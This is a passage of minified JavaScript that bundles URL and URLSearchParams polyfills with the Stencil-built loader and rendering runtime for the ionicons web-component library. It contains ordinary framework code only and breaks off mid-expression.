(function(e){var t=function(){try{return!!Symbol.iterator}catch(e){return false}};var n=t();var r=function(e){var t={next:function(){var t=e.shift();return{done:t===void 0,value:t}}};if(n){t[Symbol.iterator]=function(){return t}}return t};var i=function(e){return encodeURIComponent(e).replace(/%20/g,"+")};var o=function(e){return decodeURIComponent(e).replace(/\+/g," ")};var a=function(){var t=function(e){Object.defineProperty(this,"_entries",{value:{}});if(typeof e==="string"){if(e!==""){e=e.replace(/^\?/,"");var n=e.split("&");var r;for(var i=0;i<n.length;i++){r=n[i].split("=");this.append(o(r[0]),r.length>1?o(r[1]):"")}}}else if(e instanceof t){var a=this;e.forEach(function(e,t){a.append(e,t)})}};var a=t.prototype;a.append=function(e,t){if(e in this._entries){this._entries[e].push(t.toString())}else{this._entries[e]=[t.toString()]}};a.delete=function(e){delete this._entries[e]};a.get=function(e){return e in this._entries?this._entries[e][0]:null};a.getAll=function(e){return e in this._entries?this._entries[e].slice(0):[]};a.has=function(e){return e in this._entries};a.set=function(e,t){this._entries[e]=[t.toString()]};a.forEach=function(e,t){var n;for(var r in this._entries){if(this._entries.hasOwnProperty(r)){n=this._entries[r];for(var i=0;i<n.length;i++){e.call(t,n[i],r,this)}}}};a.keys=function(){var e=[];this.forEach(function(t,n){e.push(n)});return r(e)};a.values=function(){var e=[];this.forEach(function(t){e.push(t)});return r(e)};a.entries=function(){var e=[];this.forEach(function(t,n){e.push([n,t])});return r(e)};if(n){a[Symbol.iterator]=a.entries}a.toString=function(){var e=[];this.forEach(function(t,n){e.push(i(n)+"="+i(t))});return e.join("&")};e.URLSearchParams=t};if(!("URLSearchParams"in e)||new URLSearchParams("?a=1").toString()!=="a=1"){a()}})(typeof global!=="undefined"?global:typeof window!=="undefined"?window:typeof self!=="undefined"?self:this);(function(e){var t=function(){try{var e=new URL("b","http://a");e.pathname="c%20d";return e.href==="http://a/c%20d"&&e.searchParams}catch(e){return false}};var n=function(){var t=e.URL;var n=function(e,t){if(typeof e!=="string")e=String(e);var n=document.implementation.createHTMLDocument("");window.doc=n;if(t){var r=n.createElement("base");r.href=t;n.head.appendChild(r)}var i=n.createElement("a");i.href=e;n.body.appendChild(i);i.href=i.href;if(i.protocol===":"||!/:/.test(i.href)){throw new TypeError("Invalid URL")}Object.defineProperty(this,"_anchorElement",{value:i})};var r=n.prototype;var i=function(e){Object.defineProperty(r,e,{get:function(){return this._anchorElement[e]},set:function(t){this._anchorElement[e]=t},enumerable:true})};["hash","host","hostname","port","protocol","search"].forEach(function(e){i(e)});Object.defineProperties(r,{toString:{get:function(){var e=this;return function(){return e.href}}},href:{get:function(){return this._anchorElement.href.replace(/\?$/,"")},set:function(e){this._anchorElement.href=e},enumerable:true},pathname:{get:function(){return this._anchorElement.pathname.replace(/(^\/?)/,"/")},set:function(e){this._anchorElement.pathname=e},enumerable:true},origin:{get:function(){var e={"http:":80,"https:":443,"ftp:":21}[this._anchorElement.protocol];var t=this._anchorElement.port!=e&&this._anchorElement.port!=="";return this._anchorElement.protocol+"//"+this._anchorElement.hostname+(t?":"+this._anchorElement.port:"")},enumerable:true},password:{get:function(){return""},set:function(e){},enumerable:true},username:{get:function(){return""},set:function(e){},enumerable:true},searchParams:{get:function(){var e=new URLSearchParams(this.search);var t=this;["append","delete","set"].forEach(function(n){var r=e[n];e[n]=function(){r.apply(e,arguments);t.search=e.toString()}});return e},enumerable:true}});n.createObjectURL=function(e){return t.createObjectURL.apply(t,arguments)};n.revokeObjectURL=function(e){return t.revokeObjectURL.apply(t,arguments)};e.URL=n};if(!t()){n()}if(e.location!==void 0&&!("origin"in e.location)){var r=function(){return e.location.protocol+"//"+e.location.hostname+(e.location.port?":"+e.location.port:"")};try{Object.defineProperty(e.location,"origin",{get:r,enumerable:true})}catch(t){setInterval(function(){e.location.origin=r()},100)}}})(typeof global!=="undefined"?global:typeof window!=="undefined"?window:typeof self!=="undefined"?self:this);
/*! Built with http://stenciljs.com */
(function(Context,namespace,hydratedCssClass,resourcesUrl,s){"use strict";
s=document.querySelector("script[data-namespace='ionicons']");if(s){resourcesUrl=s.getAttribute('data-resources-url');}
this&&this.n||(Object.setPrototypeOf||Array);var n=this&&this.t||function(n,t,r,e){return new(r||(r=Promise))(function(i,u){function o(n){try{c(e.r(n))}catch(n){u(n)}}function f(n){try{c(e.throw(n))}catch(n){u(n)}}function c(n){n.e?i(n.value):new r(function(t){t(n.value)}).then(o,f)}c((e=e.apply(n,t||[])).r())})},t=this&&this.i||function(n,t){function r(r){return function(o){return function c(r){if(e)throw new TypeError("Generator is already executing.");for(;f;)try{if(e=1,i&&(u=2&r[0]?i.return:r[0]?i.throw||((u=i.return)&&u.call(i),0):i.r)&&!(u=u.call(i,r[1])).e)return u;switch(i=0,u&&(r=[2&r[0],u.value]),r[0]){case 0:case 1:u=r;break;case 4:return f.u++,{value:r[1],e:!1};case 5:f.u++,i=r[1],r=[0];continue;case 7:r=f.o.pop(),f.f.pop();continue;default:if(!(u=(u=f.f).length>0&&u[u.length-1])&&(6===r[0]||2===r[0])){f=0;continue}if(3===r[0]&&(!u||r[1]>u[0]&&r[1]<u[3])){f.u=r[1];break}if(6===r[0]&&f.u<u[1]){f.u=u[1],u=r;break}if(u&&f.u<u[2]){f.u=u[2],f.o.push(r);break}u[2]&&f.o.pop(),f.f.pop();continue}r=t.call(n,f)}catch(n){r=[6,n],i=0}finally{e=u=0}if(5&r[0])throw r[1];return{value:r[0]?r[1]:void 0,e:!0}}([r,o])}}var e,i,u,o,f={u:0,c:function(){if(1&u[0])throw u[1];return u[1]},f:[],o:[]};return o={r:r(0),throw:r(1),return:r(2)},"function"==typeof Symbol&&(o[Symbol.iterator]=function(){return this}),o};(function(r,e,i,u){"use strict";function o(n,t){return"sc-"+n.a+(t&&t!==F?"-"+t:"")}function f(n,t){return n+(t?"-h":"-s")}function c(n,t,r,e,i){if(e){var u=t.a+(i||F);t[u]||(t[u]=e)}}function a(n,t,r,e){void 0===e&&(e="boolean"==typeof r);var i=t!==(t=t.replace(/^xlink\:?/,""));null==r||e&&(!r||"false"===r)?i?n.removeAttributeNS(K,z(t)):n.removeAttribute(t):"function"!=typeof r&&(r=e?"":r.toString(),i?n.setAttributeNS(K,z(t),r):n.setAttribute(t,r))}function s(n,t,r,e,i,u,o){if("class"!==r||u)if("style"===r){for(var f in e)i&&null!=i[f]||(/-/.test(f)?t.style.s(f):t.style[f]="");for(var f in i)e&&i[f]===e[f]||(/-/.test(f)?t.style.setProperty(f,i[f]):t.style[f]=i[f])}else if("o"!==r[0]||"n"!==r[1]||!/[A-Z]/.test(r[2])||r in t)if("list"!==r&&"type"!==r&&!u&&(r in t||-1!==["object","function"].indexOf(typeof i)&&null!==i)){var c=n.l(t);c&&c.v&&c.v[r]?(v(t,r,i),o&&c.v[r].p&&a(t,c.v[r].d,i,4===c.v[r].m)):"ref"!==r&&(v(t,r,null==i?"":i),null!=i&&!1!==i||n.b.y(t,r))}else null!=i&&"key"!==r?a(t,r,i):(u||n.b.g(t,r)&&(null==i||!1===i))&&n.b.y(t,r);else r=z(r)in t?z(r.substring(2)):z(r[2])+r.substring(3),i?i!==e&&n.b.w(t,r,i):n.b.k(t,r);else if(e!==i){var s=l(e),p=l(i),h=s.filter(function(n){return!p.includes(n)}),d=l(t.className).filter(function(n){return!h.includes(n)}),m=p.filter(function(n){return!s.includes(n)&&!d.includes(n)});d.push.apply(d,m),t.className=d.join(" ")}}function l(n){return null==n||""===n?[]:n.trim().split(/\s+/)}function v(n,t,r){try{n[t]=r}catch(n){}}function p(n,t,r,e,i){var u=11===r.M.nodeType&&r.M.host?r.M.host:r.M,o=t&&t.vattrs||H,f=r.vattrs||H;for(i in o)f&&null!=f[i]||null==o[i]||s(n,u,i,o[i],void 0,e,r.j);for(i in f)i in o&&f[i]===("value"===i||"checked"===i?u[i]:o[i])||s(n,u,i,o[i],f[i],e,r.j)}function h(n,t){function r(i,u,o,f,c,l,y,b,g){if(b=u.vchildren[o],a||(v=!0,"slot"===b.vtag&&(s&&t.O(f,s+"-s"),b.vchildren?b.x=!0:b.C=!0)),Z(b.vtext))b.M=t.S(b.vtext);else if(b.C)b.M=t.S("");else{if(l=b.M=Q||"svg"===b.vtag?t.W("http://www.w3.org/2000/svg",b.vtag):t.A(b.x?"slot-fb":b.vtag),n.R(l)&&n.N.delete(m),Q="svg"===b.vtag||"foreignObject"!==b.vtag&&Q,p(n,null,b,Q),Z(s)&&l["s-si"]!==s&&t.O(l,l["s-si"]=s),b.vchildren)for(c=0;c<b.vchildren.length;++c)(y=r(i,b,c,l))&&t.T(l,y);"svg"===b.vtag&&(Q=!1)}return b.M["s-hn"]=d,(b.x||b.C)&&(b.M["s-sr"]=!0,b.M["s-cr"]=h,b.M["s-sn"]=b.vname||"",(g=i&&i.vchildren&&i.vchildren[o])&&g.vtag===b.vtag&&i.M&&e(i.M)),b.M}function e(r,i,u,o){n.L=!0;var a=t.P(r);for(u=a.length-1;u>=0;u--)(o=a[u])["s-hn"]!==d&&o["s-ol"]&&(t.D(o),t.I(c(o),o,f(o)),t.D(o["s-ol"]),o["s-ol"]=null,v=!0),i&&e(o,i);n.L=!1}function i(n,e,i,u,o,c,a,s){var l=n["s-cr"];for((a=l&&t.U(l)||n).shadowRoot&&t.q(a)===d&&(a=a.shadowRoot);o<=c;++o)u[o]&&(s=Z(u[o].vtext)?t.S(u[o].vtext):r(null,i,o,n))&&(u[o].M=s,t.I(a,s,f(e)))}function u(n,r,i,u){for(;r<=i;++r)Z(n[r])&&(u=n[r].M,l=!0,u["s-ol"]?t.D(u["s-ol"]):e(u,!0),t.D(u))}function o(n,t){return n.vtag===t.vtag&&n.vkey===t.vkey&&("slot"!==n.vtag||n.vname===t.vname)}function f(n){return n&&n["s-ol"]?n["s-ol"]:n}function c(n){return t.U(n["s-ol"]?n["s-ol"]:n)}var a,s,l,v,h,d,m,y=[];return function b(g,w,k,M,$,j,E,O,x,C,S,W){if(m=g,d=t.q(m),h=m["s-cr"],a=M,s=m["s-sc"],v=l=!1,function a(s,l,v){var h=l.M=s.M,d=s.vchildren,m=l.vchildren;Q=l.M&&Z(t.B(l.M))&&void 0!==l.M.ownerSVGElement,Q="svg"===l.vtag||"foreignObject"!==l.vtag&&Q,Z(l.vtext)?(v=h["s-cr"])?t._(t.U(v),l.vtext):s.vtext!==l.vtext&&t._(h,l.vtext):("slot"!==l.vtag&&p(n,s,l,Q),Z(d)&&Z(m)?function y(n,s,l,v,p,h,d,m){for(var y=0,b=0,g=s.length-1,w=s[0],k=s[g],M=v.length-1,$=v[0],j=v[M];y<=g&&b<=M;)if(null==w)w=s[++y];else if(null==k)k=s[--g];else if(null==$)$=v[++b];else if(null==j)j=v[--M];else if(o(w,$))a(w,$),w=s[++y],$=v[++b];else if(o(k,j))a(k,j),k=s[--g],j=v[--M];else if(o(w,j))"slot"!==w.vtag&&"slot"!==j.vtag||e(t.U(w.M)),a(w,j),t.I(n,w.M,t.F(k.M)),w=s[++y],j=v[--M];else if(o(k,$))"slot"!==w.vtag&&"slot"!==j.vtag||e(t.U(k.M)),a(k,$),t.I(n,k.M,w.M),k=s[--g],$=v[++b];else{for(p=null,h=y;h<=g;++h)if(s[h]&&Z(s[h].vkey)&&s[h].vkey===$.vkey){p=h;break}Z(p)?((m=s[p]).vtag!==$.vtag?d=r(s&&s[b],l,p,n):(a(m,$),s[p]=void 0,d=m.M),$=v[++b]):(d=r(s&&s[b],l,b,n),$=v[++b]),d&&t.I(c(w.M),d,f(w.M))}y>g?i(n,null==v[M+1]?null:v[M+1].M,l,v,b,M):b>M&&u(s,y,g)}(h,d,l,m):Z(m)?(Z(s.vtext)&&t._(h,""),i(h,null,l,m,0,m.length-1)):Z(d)&&u(d,0,d.length-1)),Q&&"svg"===l.vtag&&(Q=!1)}(w,k),v){for(function n(r,e,i,u,o,f,c,a,s,v){for(o=0,f=(e=t.P(r)).length;o<f;o++){if((i=e[o])["s-sr"]&&(u=i["s-cr"]))for(a=t.P(t.U(u)),s=i["s-sn"],c=a.length-1;c>=0;c--)(u=a[c])["s-cn"]||u["s-nr"]||u["s-hn"]===i["s-hn"]||((3===(v=t.H(u))||8===v)&&""===s||1===v&&null===t.Y(u,"slot")&&""===s||1===v&&t.Y(u,"slot")===s)&&(y.some(function(n){return n.Z===u})||(l=!0,u["s-sn"]=s,y.push({z:i,Z:u})));1===t.H(i)&&n(i)}}(k.M),E=0;E<y.length;E++)(O=y[E]).Z["s-ol"]||((x=t.S(""))["s-nr"]=O.Z,t.I(t.U(O.Z),O.Z["s-ol"]=x,O.Z));for(n.L=!0,E=0;E<y.length;E++){for(O=y[E],S=t.U(O.z),W=t.F(O.z),x=O.Z["s-ol"];x=t.G(x);)if((C=x["s-nr"])&&C&&C["s-sn"]===O.Z["s-sn"]&&S===t.U(C)&&(C=t.F(C))&&C&&!C["s-nr"]){W=C;break}(!W&&S!==t.U(O.Z)||t.F(O.Z)!==W)&&O.Z!==W&&(t.D(O.Z),t.I(S,O.Z,W))}n.L=!1}return l&&function n(r,e,i,u,o,f,c,a){for(u=0,o=(i=t.P(r)).length;u<o;u++)if(e=i[u],1===t.H(e)){if(e["s-sr"])for(c=e["s-sn"],e.hidden=!1,f=0;f<o;f++)if(i[f]["s-hn"]!==e["s-hn"])if(a=t.H(i[f]),""!==c){if(1===a&&c===t.Y(i[f],"slot")){e.hidden=!0;break}}else if(1===a||3===a&&""!==t.K(i[f]).trim()){e.hidden=!0;break}n(e)}}(k.M),y.length=0,k}}function d(n,t){n&&(n.vattrs&&n.vattrs.ref&&n.vattrs.ref(t?null:n.M),n.vchildren&&n.vchildren.forEach(function(n){d(n,t)}))}function m(n,t,r,e,i){var u,o,f,c,a=n.H(t);if(i&&1===a){(o=n.Y(t,_))&&(f=o.split("."))[0]===e&&((c={}).vtag=n.q(c.M=t),r.vchildren||(r.vchildren=[]),r.vchildren[f[1]]=c,r=c,i=""!==f[2]);for(var s=0;s<t.childNodes.length;s++)m(n,t.childNodes[s],r,e,i)}else 3===a&&(u=t.previousSibling)&&8===n.H(u)&&"s"===(f=n.K(u).split("."))[0]&&f[1]===e&&((c={vtext:n.K(t)}).M=t,r.vchildren||(r.vchildren=[]),r.vchildren[f[2]]=c)}function y(n,t){for(var r,e,i=null,u=!1,o=!1,f=arguments.length;f-- >2;)X.push(arguments[f]);for(;X.length>0;){var c=X.pop();if(c&&void 0!==c.pop)for(f=c.length;f--;)X.push(c[f]);else"boolean"==typeof c&&(c=null),(o="function"!=typeof n)&&(null==c?c="":"number"==typeof c?c=String(c):"string"!=typeof c&&(o=!1)),o&&u?i[i.length-1].vtext+=c:null===i?i=[o?{vtext:c}:c]:i.push(o?{vtext:c}:c),u=o}if(null!=t){if(t.className&&(t.class=t.className),"object"==typeof t.class){for(f in t.class)t.class[f]&&X.push(f);t.class=X.join(" "),X.length=0}null!=t.key&&(r=t.key),null!=t.name&&(e=t.name)}return"function"==typeof n?n(t,i||[],J):{vtag:n,vchildren:i,vtext:void 0,vattrs:t,vkey:r,vname:e,M:void 0,j:!1}}function b(n){return{vtag:n.vtag,vchildren:n.vchildren,vtext:n.vtext,vattrs:n.vattrs,vkey:n.vkey,vname:n.vname}}function g(n){return{Q:n[0],X:n[1],J:!!n[2],V:!!n[3],nn:!!n[4]}}function w(n,t){if(Z(t)&&"object"!=typeof t&&"function"!=typeof t){if(n===Boolean||4===n)return"false"!==t&&(""===t||!!t);if(n===Number||8===n)return parseFloat(t);if(n===String||2===n)return t.toString()}return t}function k(n,t){n.tn.add(t),n.rn.has(t)||(n.rn.set(t,!0),n.en?n.queue.write(function(){return M(n,t)}):n.queue.tick(function(){return M(n,t)}))}function M(r,e,i,u,o){return n(this,void 0,void 0,function(){var n,i;return t(this,function(t){switch(t.u){case 0:if(r.rn.delete(e),r.in.has(e))return[3,12];if(u=r.un.get(e))return[3,6];if((o=r.on.get(e))&&!o["s-rn"])return(o["s-rc"]=o["s-rc"]||[]).push(function(){M(r,e)}),[2];if(!(u=function c(n,t,r,e,i,u,o){try{e=new(i=n.l(t).fn),function f(n,t,r,e,i){n.cn.set(e,r),n.an.has(r)||n.an.set(r,{}),Object.entries(Object.assign({color:{type:String}},t.properties,{mode:{type:String}})).forEach(function(t){var u=t[0],o=t[1];(function f(n,t,r,e,i,u,o,c){if(t.type||t.state){var a=n.an.get(r);t.state||(!t.attr||void 0!==a[i]&&""!==a[i]||(o=u&&u.sn)&&Z(c=o[t.attr])&&(a[i]=w(t.type,c)),r.hasOwnProperty(i)&&(void 0===a[i]&&(a[i]=w(t.type,r[i])),"mode"!==i&&delete r[i])),e.hasOwnProperty(i)&&void 0===a[i]&&(a[i]=e[i]),t.watchCallbacks&&(a[V+i]=t.watchCallbacks.slice()),E(e,i,function s(t){return(t=n.an.get(n.cn.get(this)))&&t[i]},function l(r,e){(e=n.cn.get(this))&&(t.state||t.mutable)&&$(n,e,i,r)})}else if(t.elementRef)j(e,i,r);else if(t.context){var v=n.ln(t.context);void 0!==v&&j(e,i,v.vn&&v.vn(r)||v)}})(n,o,r,e,u,i)})}(n,i,t,e,r)}catch(r){e={},n.pn(r,7,t,!0)}return n.un.set(t,e),e}(r,e,r.hn.get(e))))return[3,5];t.u=1;case 1:return t.f.push([1,4,,5]),u.componentWillLoad?[4,u.componentWillLoad()]:[3,3];case 2:t.c(),t.u=3;case 3:return[3,5];case 4:return n=t.c(),r.pn(n,3,e),[3,5];case 5:return[3,11];case 6:if(!u)return[3,11];t.u=7;case 7:return t.f.push([7,10,,11]),u.componentWillUpdate?[4,u.componentWillUpdate()]:[3,9];case 8:t.c(),t.u=9;case 9:return[3,11];case 10:return i=t.c(),r.pn(i,5,e),[3,11];case 11:(function a(n,t,r,e){try{var i,u=t.fn.host,o=t.fn.encapsulation,c="shadow"===o&&n.b.dn,a=r;if(i=function s(n,t,r){return n&&Object.keys(n).forEach(function(e){n[e].reflectToAttr&&((r=r||{})[e]=t[e])}),r}(t.fn.properties,e),c&&(a=r.shadowRoot),!r["s-rn"]){n.mn(n,n.b,t,r);var l=r["s-sc"];l&&(n.b.O(r,f(l,!0)),"scoped"===o&&n.b.O(r,f(l)))}if(e.render||e.hostData||u||i){n.yn=!0;var v=e.render&&e.render(),p=void 0;p=e.hostData&&e.hostData(),i&&(p=p?Object.assign(p,i):i),n.yn=!1;var h=n.bn.get(r)||{};h.M=a;var d=y(null,p,v);d.j=!0,n.bn.set(r,n.render(r,h,d,c,o))}n.gn&&n.gn.wn(r),r["s-rn"]=!0,r["s-rc"]&&(r["s-rc"].forEach(function(n){return n()}),r["s-rc"]=null)}catch(t){n.yn=!1,n.pn(t,8,r,!0)}})(r,r.l(e),e,u),e["s-init"](),t.u=12;case 12:return[2]}})})}function $(n,t,r,e,i){var u=n.an.get(t);u||n.an.set(t,u={});var o=u[r];if(e!==o&&(u[r]=e,i=n.un.get(t))){var f=u[V+r];if(f)for(var c=0;c<f.length;c++)try{i[f[c]].call(i,e,o,r)}catch(n){}!n.yn&&t["s-rn"]&&k(n,t)}}function j(n,t,r){Object.defineProperty(n,t,{configurable:!0,value:r})}function E(n,t,r,e){Object.defineProperty(n,t,{configurable:!0,get:r,set:e})}function O(n,t,r,e,i,u){if(n.tn.delete(t),(i=n.on.get(t))&&((e=i["s-ld"])&&((r=e.indexOf(t))>-1&&e.splice(r,1),e.length||i["s-init"]&&i["s-init"]()),n.on.delete(t)),n.kn.length&&!n.tn.size)for(;u=n.kn.shift();)u()}function x(n,t,r,e){if(r.connectedCallback=function(){(function r(n,t,e){n.in.delete(e),n.Mn.has(e)||(n.tn.add(e),n.Mn.set(e,!0),e["s-id"]||(e["s-id"]=n.$n()),function i(n,t,r){for(r=t;r=n.b.B(r);)if(n.R(r)){n.N.has(t)||(n.on.set(t,r),(r["s-ld"]=r["s-ld"]||[]).push(t));break}}(n,e),n.queue.tick(function(){n.hn.set(e,function r(n,t,e,i,u){return e.mode||(e.mode=n.jn(e)),e["s-cr"]||n.Y(e,B)||n.dn&&1===t.En||(e["s-cr"]=n.S(""),e["s-cr"]["s-cn"]=!0,n.I(e,e["s-cr"],n.P(e)[0])),n.dn||1!==t.En||(e.shadowRoot=e),1===t.En&&n.dn&&!e.shadowRoot&&n.On(e,{mode:"open"}),i={xn:e["s-id"],sn:{}},t.v&&Object.keys(t.v).forEach(function(r){(u=t.v[r].d)&&(i.sn[u]=n.Y(e,u))}),i}(n.b,t,e)),n.Cn(t,e)}))})(n,t,this)},r.disconnectedCallback=function(){(function t(n,r){if(!n.L&&function e(n,t){for(;t;){if(!n.U(t))return 9!==n.H(t);t=n.U(t)}}(n.b,r)){n.in.set(r,!0),O(n,r),d(n.bn.get(r),!0),n.b.k(r),n.Sn.delete(r);var i=n.un.get(r);i&&i.componentDidUnload&&i.componentDidUnload(),n.gn&&n.gn.Wn(r),[n.on,n.An,n.hn].forEach(function(n){return n.delete(r)})}})(n,this)},r["s-init"]=function(){(function t(n,r,e,i,u,o){if(function n(t,r){for(var e=0;e<r.childNodes.length;e++){var i=r.childNodes[e];if(1===i.nodeType){if(t.l(i)&&!t.Mn.has(i))return!1;if(!n(t,i))return!1}}return!0}(n,r)&&n.un.get(r)&&!n.in.has(r)&&(!r["s-ld"]||!r["s-ld"].length)){n.N.set(r,!0),n.Rn.has(r)||(n.Rn.set(r,!0),r["s-ld"]=void 0,n.b.O(r,e));try{d(n.bn.get(r)),(u=n.An.get(r))&&(u.forEach(function(n){return n(r)}),n.An.delete(r))}catch(t){n.pn(t,4,r)}O(n,r)}})(n,this,e)},r.forceUpdate=function(){k(n,this)},t.v){var i=Object.entries(t.v),u={};i.forEach(function(n){var t=n[0],r=n[1].d;r&&(u[r]=t)}),u=Object.assign({},u),r.attributeChangedCallback=function(n,t,r){(function e(n,t,r,i){var u=n[z(r)];u&&(t[u]=i)})(u,this,n,r)},function o(n,t,r){t.forEach(function(t){var e=t[0],i=t[1],u=i.Nn;3&u?E(r,e,function t(){return(n.an.get(this)||{})[e]},function t(r){$(n,this,e,w(i.m,r))}):32===u&&j(r,e,G)})}(n,i,r)}}function C(n,t,r,e){return function(){var i=arguments;return function u(n,t,r){var e=t[r],i=n.Tn.body;return i?(e||(e=i.querySelector(r)),e||(e=t[r]=n.A(r),n.T(i,e)),e.componentOnReady()):Promise.resolve()}(n,t,r).then(function(n){return n[e].apply(n,i)})}}function S(n,t,r){n.lastIndex=0;var e=t.substring(r).match(n);if(e){var i=r+e.index;return{start:i,end:i+e[0].length}}return null}function W(n,t,r){var e=function i(n,t){var r=S(an,n,t);if(!r)return null;var e=function i(n,t){for(var r=0,e=t;e<n.length;e++){var i=n[e];if("("===i)r++;else if(")"===i&&--r<=0)return e+1}return e}(n,r.start),u=n.substring(r.end,e-1).split(","),o=u[0],f=u.slice(1);return{start:r.start,end:e,Ln:o.trim(),Pn:f.length>0?f.join(",").trim():void 0}}(n,r);if(!e)return t.push(n.substring(r,n.length)),n.length;var u=e.Ln,o=null!=e.Pn?N(e.Pn):void 0;return t.push(n.substring(r,e.start),function(n){return function t(n,r,e){return n[r]?n[r]:e?A(e,n):""}(n,u,o)}),e.end}function A(n,t){for(var r="",e=0;e<n.length;e++){var i=n[e];r+="string"==typeof i?i:i(t)}return r}function R(n,t){for(var r=!1,e=!1,i=t;i<n.length;i++){var u=n[i];if(r)e&&'"'===u&&(r=!1),e||"'"!==u||(r=!1);else if('"'===u)r=!0,e=!0;else if("'"===u)r=!0,e=!1;else{if(";"===u)return i+1;if("}"===u)return i}}return i}function N(n){var t=0;n=function r(n){for(var t="",r=0;;){var e=S(sn,n,r),i=e?e.start:n.length;if(t+=n.substring(r,i),!e)break;r=R(n,i)}return t}(n=n.replace(ln,"")).replace(pn,"").replace(vn,"");for(var e=[];t<n.length;)t=W(n,e,t);return e}function T(n){var t={};n.forEach(function(n){n.Dn.forEach(function(n){t[n.In]=n.value})});for(var r={},e=Object.entries(t),i=function(n){var t=!1;if(e.forEach(function(n){var e=n[0],i=A(n[1],r);i!==r[e]&&(r[e]=i,t=!0)}),!t)return"break"},u=0;u<10&&"break"!==i();u++);return r}function L(n){var t=(n=n.replace(/\s+/gim," ").trim()).endsWith(hn);return t&&(n=n.substr(0,n.length-hn.length).trim()),{value:n,Un:t}}function P(n){var t=[];return n.forEach(function(n){t.push.apply(t,n.qn)}),t}function D(n){var t=function r(n){return function n(t,r){var e=r.substring(t.start,t.end-1);if(t.parsedCssText=t.cssText=e.trim(),t.parent){var i=t.previous?t.previous.end:t.parent.start;e=(e=(e=function u(n){return n.replace(/\\([0-9a-f]{1,6})\s/gi,function(){for(var n=arguments[1],t=6-n.length;t--;)n="0"+n;return"\\"+n})}(e=r.substring(i,t.start-1))).replace(un.Bn," ")).substring(e.lastIndexOf(";")+1);var o=t.parsedSelector=t.selector=e.trim();t.atRule=0===o.indexOf(cn),t.atRule?0===o.indexOf(fn)?t.type=tn._n:o.match(un.Fn)&&(t.type=tn.Hn,t.keyframesName=t.selector.split(un.Bn).pop()):0===o.indexOf(on)?t.type=tn.Yn:t.type=tn.Zn}var f=t.rules;if(f)for(var c=0,a=f.length,s=void 0;c<a&&(s=f[c]);c++)n(s,r);return t}(function r(n){var t=new nn;t.start=0,t.end=n.length;for(var r=t,e=0,i=n.length;e<i;e++)if(n[e]===rn){r.rules||(r.rules=[]);var u=r,o=u.rules[u.rules.length-1]||null;(r=new nn).start=e+1,r.parent=u,r.previous=o,u.rules.push(r)}else n[e]===en&&(r.end=e+1,r=r.parent||t);return t}(n=function t(n){return n.replace(un.zn,"").replace(un.Gn,"")}(n)),n)}(n),e=N(n);return{Kn:n,Qn:e,qn:function i(n,t){if(void 0===t&&(t=0),!n.rules)return[];var r=[];return n.rules.filter(function(n){return n.type===tn.Zn}).forEach(function(n){var e=function i(n){for(var t,r=[];t=dn.exec(n.trim());){var e=L(t[2]),i=e.value,u=e.Un;r.push({In:t[1].trim(),value:N(i),Un:u})}return r}(n.cssText);e.length>0&&n.parsedSelector.split(",").forEach(function(n){n=n.trim(),r.push({selector:n,Dn:e,Xn:1,Jn:t})}),t++}),r}(t),Vn:e.length>1}}function I(n,t){var r=D(t.innerHTML);r.nt=t,n.push(r)}function U(n,t,r){return function e(n,t,r){return n.replace(new RegExp(t,"g"),r)}(n,"\\."+t,"."+r)}function q(n,t,r){var e=r.href;return fetch(e).then(function(n){return n.text()}).then(function(i){if(function u(n){return n.indexOf("var(")>-1||mn.test(n)}(i)&&r.parentNode){(function o(n){return yn.lastIndex=0,yn.test(n)})(i)&&(i=function f(n,t){var r=t.replace(/[^\/]*$/,"");return n.replace(yn,function(n,t){var e=r+t;return n.replace(t,e)})}(i,e));var c=n.createElement("style");c.innerHTML=i,I(t,c),r.parentNode.insertBefore(c,r),r.remove()}}).catch(function(n){})}var B="ssrv",_="ssrc",F="$",H={},Y={enter:13,escape:27,space:32,tab:9,left:37,up:38,right:39,down:40},Z=function(n){return null!=n},z=function(n){return n.toLowerCase()},G=function(){},K="http://www.w3.org/1999/xlink",Q=!1,X=[],J={forEach:function(n,t){n.forEach(function(n,r,e){return t(b(n),r,e)})},map:function(n,t){return n.map(function(n,r,e){return function i(n){return{vtag:n.vtag,vchildren:n.vchildren,vtext:n.vtext,vattrs:n.vattrs,vkey:n.vkey,vname:n.vname}}(t(b(n),r,e))})}},V="wc-",nn=function nn(){this.start=0,this.end=0,this.previous=null,this.parent=null,this.rules=null,this.parsedCssText="",this.cssText="",this.atRule=!1,this.type=0,this.keyframesName="",this.selector="",this.parsedSelector=""},tn={Zn:1,Hn:7,_n:4,Yn:1e3},rn="{",en="}",un={zn:/\/\*[^*]*\*+([^\/*][^*]*\*+)*\//gim,Gn:/@import[^;]*;/gim,tt:/(?:^[^;\-\s}]+)?--[^;{}]*?:[^{};]*?(?:[;\n]|$)/gim,rt:/(?:^[^;\-\s}]+)?--[^;{}]*?:[^{};]*?{[^}]*?}(?:[;\n]|$)?/gim,et:/@apply\s*\(?[^);]*\)?\s*(?:[;\n]|$)?/gim,it:/[^;:]*?:[^;]*?var\([^;]*\)(?:[;\n]|$)?/gim,Fn:/^@[^\s]*keyframes/,Bn:/\s+/g},on="--",fn="@media",cn="@",an=/\bvar\(/,sn=/\B--[\w-]+\s*:/,ln=/\/\*[^*]*\*+([^\/*][^*]*\*+)*\//gim,vn=/^[\t ]+\n/gm,pn=/[^{}]*{\s*}/gm,hn="!important",dn=/(?:^|[;\s{]\s*)(--[\w-]*?)\s*:\s*(?:((?:'(?:\\'|.)*?'|"(?:\\"|.)*?"|\([^)]*?\)|[^};{])+)|\{([^}]*)\}(?:(?=[;\s}])|$))/gm,mn=/[\s;{]--[-a-zA-Z0-9]+\s*:/m,yn=/url[\s]*\([\s]*['"]?(?![http|\/])([^\'\"\)]*)[\s]*['"]?\)[\s]*/gim,bn=function(){function n(n,t){this.ut=n,this.ot=t,this.ft=0,this.ct=new WeakMap,this.at=new WeakMap,this.st=[],this.lt=new Map}return n.prototype.vt=function(){var n=this;return new Promise(function(t){n.ut.requestAnimationFrame(function(){(function r(n,t){return function r(n,t){for(var r=[],e=n.querySelectorAll('link[rel="stylesheet"][href]'),i=0;i<e.length;i++)r.push(q(n,t,e[i]));return Promise.all(r)}(n,t).then(function(){(function r(n,t){for(var r=n.querySelectorAll("style"),e=0;e<r.length;e++)I(t,r[e])})(n,t)})})(n.ot,n.st).then(function(){return t()})})})},n.prototype.pt=function(n){var t=this;return q(this.ot,this.st,n).then(function(){t.ht()})},n.prototype.dt=function(n){I(this.st,n),this.ht()},n.prototype.mt=function(n,t,r){if(this.at.has(n))return null;var e=n["s-sc"],i=this.yt(r,t,e),u=i.Vn&&i.bt;if(!u&&i.nt)return null;var 